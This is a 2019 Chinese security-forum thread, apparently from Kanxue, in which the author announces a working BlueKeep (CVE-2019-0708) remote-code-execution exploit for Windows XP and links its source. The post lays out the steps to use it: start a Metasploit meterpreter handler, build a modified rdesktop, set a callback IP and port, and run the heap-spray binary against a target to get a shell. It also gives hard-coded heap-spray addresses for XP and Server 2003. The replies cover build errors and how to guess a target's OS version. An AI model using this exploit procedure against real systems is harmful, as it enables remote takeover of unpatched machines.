首页
社区
课程
招聘
[原创]cve-2019-0708_bluekeep_xp_rce
2019-9-29 17:42 8073

[原创]cve-2019-0708_bluekeep_xp_rce

2019-9-29 17:42
8073
https://github.com/coolboy4me/cve-2019-0708_bluekeep_rce
前后花了3个月通过能够找到的各种开源资料,看雪论坛求助,实现了xp下面的稳定利用。03可以利用自己的机器,不具备通用性。



1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
2. cd rdesktop-1.5.0 && make 
3. 修改config,配置回连ip和端口
192.168.116.133
6000
4. 执行 ./heap_spray 192.168.116.134 (134是xp的地址,内存大于等于2G)
5. msfconsole meterpreter 会得到session

ps:
shellcode/shellcode.asm 是内核shellcode源码,编译以后转成二进制,就是rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b文件了,make的时候会直接编译进程序。

目前仅支持xp,需要xp的内存 >= 2G
如果需要支持2003,需要修改heap_spray.c 里面的 HEAP_SPRAY_ADDRESS 宏地址,经过反复测试,这个地址在03的不同系统版本,不同内存大小是不一样的。但是如果要测试
自己的机器的话,是可以成功在03上利用。不具备通用性。

heap_spray.c 
#ifdef _2003
#define HEAP_SPRAY_ADDRESS 0x953b09c0 //需要自己去windbg调试堆喷shellcode的地址 如果有朋友找到通用的解决方案欢迎提交issues
#define IcaChannelInputInternal_RET_OFFSET 0x268
#else
#define IcaChannelInputInternal_RET_OFFSET 0x274
#define HEAP_SPRAY_ADDRESS 0x88c969c0
#endif

测试03
1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
2. cd rdesktop-1.5.0 && make 
3. 修改config,配置回连ip和端口
192.168.116.133
6000
4. 执行 ./_2003_heap_spray 192.168.116.135 (135是03的地址,内存大于等于2G)
5. msfconsole meterpreter 会得到session



[竞赛]2024 KCTF 大赛征题截止日期08月10日!

最后于 2019-9-30 11:34 被coolboyme编辑 ,原因: 补充使用说明和源码附件
上传的附件:
收藏
免费 4
打赏
分享
最新回复 (16)
雪    币: 20309
活跃值: (61429)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2019-9-29 17:44
2
0
可以把分享内容都贴过来吗?
雪    币: 28
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
L柳柳 2019-9-29 17:47
3
0
牛逼
最后于 2019-9-29 17:48 被L柳柳编辑 ,原因:
雪    币: 3407
活跃值: (1202)
能力值: ( LV13,RANK:335 )
在线值:
发帖
回帖
粉丝
coolboyme 5 2019-9-29 17:55
4
0
Editor 可以把分享内容都贴过来吗?
好的,已经贴过来了
雪    币: 9452
活跃值: (6329)
能力值: ( LV12,RANK:470 )
在线值:
发帖
回帖
粉丝
王cb 9 2019-9-30 10:13
5
0
太强了,学习一下
雪    币: 129
活跃值: (328)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
xed 2019-10-1 22:14
6
0
很强。学习了,回头测试一波
雪    币: 120
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yuchi 2019-10-8 21:48
7
0
配图用的是什么工具?
雪    币: 5651
活跃值: (6788)
能力值: ( LV15,RANK:531 )
在线值:
发帖
回帖
粉丝
houjingyi 11 2019-10-12 19:16
8
0
雪    币: 760
活跃值: (69)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
肯特君 2019-10-13 11:48
9
0
coolboyme 好的,已经贴过来了
大佬你好~ 我看了一下源代码,没有看得很明白,使用的是MS_120频道PDU喷堆吗? 
我试过这个方式,在2008/win7系统上实现不了 ……
雪    币: 3407
活跃值: (1202)
能力值: ( LV13,RANK:335 )
在线值:
发帖
回帖
粉丝
coolboyme 5 2019-10-14 09:09
10
0
肯特君 大佬你好~ 我看了一下源代码,没有看得很明白,使用的是MS_120频道PDU喷堆吗? 我试过这个方式,在2008/win7系统上实现不了 ……
MS_120  这个channel在2008/win7 确实用不了。
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wx_哄哄_670 2019-10-20 13:47
11
0
2003的不通用。系统版本和内存大小也是固定的那几种,那是不是可以设置成通用的呢
雪    币: 2
活跃值: (428)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lovetoday 2019-10-25 01:03
12
0
  ubunbu 系统 make 编译时 出错。。。kali 编译时 是出错。。。有windows 编译的吗。。。make 编译时 rdesktop-1.8 成功。。。  给个架设好 ubunbu 系统 ...网盘下载。。有py版本..rb版本的吗。。 
雪    币: 3407
活跃值: (1202)
能力值: ( LV13,RANK:335 )
在线值:
发帖
回帖
粉丝
coolboyme 5 2019-10-25 15:29
13
0
wx_哄哄_670 2003的不通用。系统版本和内存大小也是固定的那几种,那是不是可以设置成通用的呢
假设有4种版本,你怎么知道目标版本是哪一个呢? 一打过去就蓝屏了。
雪    币: 3407
活跃值: (1202)
能力值: ( LV13,RANK:335 )
在线值:
发帖
回帖
粉丝
coolboyme 5 2019-10-25 15:30
14
0
lovetoday ubunbu 系统 make 编译时 出错。。。kali 编译时 是出错。。。有windows 编译的吗。。。make 编译时 rdesktop-1.8 成功。。。 给个架设好 ubunbu 系 ...
编译出错是库依赖,简单百度下就能解决了。
雪    币: 3407
活跃值: (1202)
能力值: ( LV13,RANK:335 )
在线值:
发帖
回帖
粉丝
coolboyme 5 2019-10-25 15:32
15
0
没有rb版本,不打算合入到 msf 里面
雪    币: 3407
活跃值: (1202)
能力值: ( LV13,RANK:335 )
在线值:
发帖
回帖
粉丝
coolboyme 5 2019-10-25 15:32
16
0
lovetoday ubunbu 系统 make 编译时 出错。。。kali 编译时 是出错。。。有windows 编译的吗。。。make 编译时 rdesktop-1.8 成功。。。 给个架设好 ubunbu 系 ...
没有rb版本,不打算合入到 msf 里面
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wx_哄哄_670 2019-11-2 14:42
17
0
coolboyme 假设有4种版本,你怎么知道目标版本是哪一个呢? 一打过去就蓝屏了。
自定义4种版本。和meterprete一样 自己手动选择啊。最多4次不就成功。
游客
登录 | 注册 方可回帖
返回